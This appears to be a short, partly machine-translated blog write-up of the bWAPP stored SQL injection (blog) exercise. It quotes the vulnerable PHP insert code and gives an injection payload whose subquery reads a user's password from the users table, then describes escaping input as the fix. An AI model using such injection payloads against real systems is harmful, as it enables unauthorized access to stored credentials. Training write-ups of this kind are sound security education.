Part-1,SQL Inject Save(Blog)


  • この文章の無断転載と再配布は禁止されています.
  • 許可されていないサービス対象者をハッカーが攻撃しようとする行為は犯罪行為である.悪意のある目的で本内容を使用する場合、すべての責任(法律責任を含む)は各方面が負担し、著者はいかなる責任も負わない.
    エラー構文「bee」と「サーバタイプ」では、ユーザーのアイデンティティが最後の場所に格納されていることを確認できます.
    --sqli_7.php 소스 중
    
    $entry = sqli($_POST["entry"]);
    $owner = $_SESSION["login"];
    
    $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
    --SQL문에 공격구문 대입
    INSERT INTO blog (date, entry, owner) VALUES (now(),'test', (select password from bWAPP.users where id=1 limit 0,1 ))#','" . $owner . "')

    🔑対応策


    入力データがSQL構文で認識されないようにします.たとえば、SQL構文で特殊文字を使用するときにスラッシュを付けます.
    PHPはmysql real escap string関数を使用してNULL、n、r(前に移動)、"、"^Z特殊文字を迂回